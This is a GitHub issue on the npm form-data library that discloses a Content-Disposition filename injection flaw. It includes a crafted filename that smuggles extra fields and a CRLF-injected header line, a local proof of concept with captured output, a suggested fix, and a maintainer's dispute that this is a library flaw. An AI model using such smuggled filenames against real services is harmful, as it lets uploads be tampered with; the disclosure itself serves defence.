form-data / form-data

A module to create readable `"multipart/form-data"` streams. Can be used to submit forms and file uploads to other web applications.
https://www.npmjs.com/form-data
MIT License
2.28k stars 291 forks source link

"form-data" is vulnerable to request tampering via a crafted filename #546

Open motoyasu-saburi opened 1 year ago

motoyasu-saburi commented 1 year ago

I have already contacted the two maintainers 3 or 4 times via email and snyk, but have not received any replies, so I'm write this as an Issue.

Summury

I found "multipart/form-data Request tampering vulnerability" caused by Content-Disposition filename lack of escaping in "form-data".

/lib/form_data.js > FormData.prototype._getContentDisposition() contains a vulnerability that allows the lack of escape filename.

https://github.com/form-data/form-data/blob/53adbd81e9bde27007b28083068f2fc8272614dc/lib/form_data.js#L238

By exploiting this problem, the following attacks are possible

For example, this vulnerability can be exploited to generate the following Content-Disposition.

input filename: overwrite_name_field_and_extension.sh"; name="foo";\r\n dummy=".txt

generated header in multipart/form-data: Content-Disposition: form-data; name="bar"; filename="overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt"

The Abused Header has multiple name fields and the filename has been rewritten from .txt to .sh.

These problems can result in successful or unsuccessful attacks, depending on the behavior of the parser receiving the request.

The cause of this problem is the lack of escaping of the " (Double-Quote) & \r, \n (CRLF) characters in Content-Disposition > filename.

WhatWG's HTML spec has an escaping requirement.

https://html.spec.whatwg.org/#multipart-form-data

For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence %0A, 0x0D (CR) with %0D and 0x22 (") with %22. The user agent must not perform any other escapes.

My calculations CVSS (v3):

However, I think is that this is a limited problem and an example of CVSS not matching the actual risk.

I'll include an my article explaining this issue as a reference. https://gist.github.com/motoyasu-saburi/1b19ef18e96776fe90ba1b9f910fa714


PoC Environment

OS: macOS Monterey(12.3) Node.js ver: v16.14.2 form-data ver: v4.0.0 (Python3 - HTTP Request Logging Server)


PoC

(Linux or MacOS is required. This is because Windows does not allow file names containing " (double-quote) .)

  1. Create Project

    $ mkdir my-app
    $ cd my-app
    $ npm init
  2. edit & install package.json

$ vi package.json
$ npm install
{
  "name": "node",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "",
  "license": "ISC",
  "dependencies": {
    "axios": "^1.1.3",
    "form-data": "^4.0.0"
  }
}
  1. create vuln code & dummy malicious file
$ vi index.js
$ touch 'overwrite_name_field_and_extension.sh"; name="foo";\r\n dummy=".txt'
var FormData = require('form-data');
var form = new FormData();
var fs = require('fs');
var axios = require('axios');
var http = require('http');

// fix project path
var project_path = "/Users/PROJECT/DIRECTORY/"
var filename = 'overwrite_name_field_and_extension.sh"; name="foo";\r\n dummy=".txt';

const buffer = fs.readFileSync(project_path + filename);
form.append( 'my_file', buffer, {
  filename: filename, 
  contentType: 'image/jpeg',
  knownLength: buffer.length
});

var request = http.request({
  protocol: "http:",
  host: "127.0.0.1",
  port: 12345,
  method: 'post'
});

// For one of these reasons, Content-Length was not set, so it was forced to be set.
request.setHeader('Content-Length', 1234) 
form.pipe(request);
  1. create logging server (python)

I write Python code, but any method will work as long as you can see the HTTP Request Body. (e.g. Debugger, HTTP Logging Server, Packet Capture)

$ vi logging.py

from http.server import HTTPServer
from http.server import BaseHTTPRequestHandler

class LoggingServer(BaseHTTPRequestHandler):

    def do_POST(self):
        self.send_response(200)
        self.end_headers()
        self.wfile.write("ok".encode("utf-8"))

        content_length = int(self.headers['Content-Length'])

        post_data = self.rfile.read(content_length)
        print("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n",
                     str(self.path), str(self.headers), post_data.decode('utf-8'))
        self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))

ip = '127.0.0.1'
port = 12345

server = HTTPServer((ip, port), LoggingServer)
server.serve_forever()

$ python logging.py

  1. Run & Logging server
$ node index.js

Request Header & Body

Content-Length: 1234 Connection: keep-alive

----------------------------825405212256301887885754 Content-Disposition: form-data; name="my_file"; filename="overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt" Content-Type: image/jpeg

abc ----------------------------825405212256301887885754--

Content-Disposition:

Content-Disposition: form-data; name="my_file"; filename="overwrite_name_field_and_extension.sh"; name="foo";

& Injected Line (caused by \r\n )

dummy=".txt"


Cause & Fix

Pull Request has been created. https://github.com/form-data/form-data/pull/545


As noted at the beginning of this section, encoding must be done as described in the HTML Spec.

https://html.spec.whatwg.org/#multipart-form-data

For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence %0A, 0x0D (CR) with %0D and 0x22 (") with %22. The user agent must not perform any other escapes.

Therefore, it is recommended that Content-Disposition be modified by either of the following

e.g.

Before Content-Disposition: attachment;filename="malicious.sh";\r\ndummy=.txt

After Content-Disposition: attachment;filename="%22malicious.sh%22;%0d%0adummy=.txt"


Attack Scenario

For example, the following may be considered


Reference (How to implement on other frameworks)

I will post some examples of frameworks that did not have problems as reference.

Golang https://github.com/golang/go/blob/e0e0c8fe9881bbbfe689ad94ca5dddbb252e4233/src/mime/multipart/writer.go#L144

Spring https://github.com/spring-projects/spring-framework/blob/4cc91e46b210b4e4e7ed182f93994511391b54ed/spring-web/src/main/java/org/springframework/http/ContentDisposition.java#L259-L267

Symphony https://github.com/symfony/symfony/blob/123b1651c4a7e219ba59074441badfac65525efe/src/Symfony/Component/Mime/Header/ParameterizedHeader.php#L128-L133

Explanatory article on the lack of escaping filename in Content-Disposition: https://gist.github.com/motoyasu-saburi/1b19ef18e96776fe90ba1b9f910fa714

motoyasu-saburi commented 1 year ago

@niftylettuce Please check vulnerability report and PullReqeust.

ljharb commented 1 week ago

To clarify, this is not actually a vulnerability in form-data - if an application is not sanitizing user data before sending it into a library, including form-data, then that application is what has a vulnerability.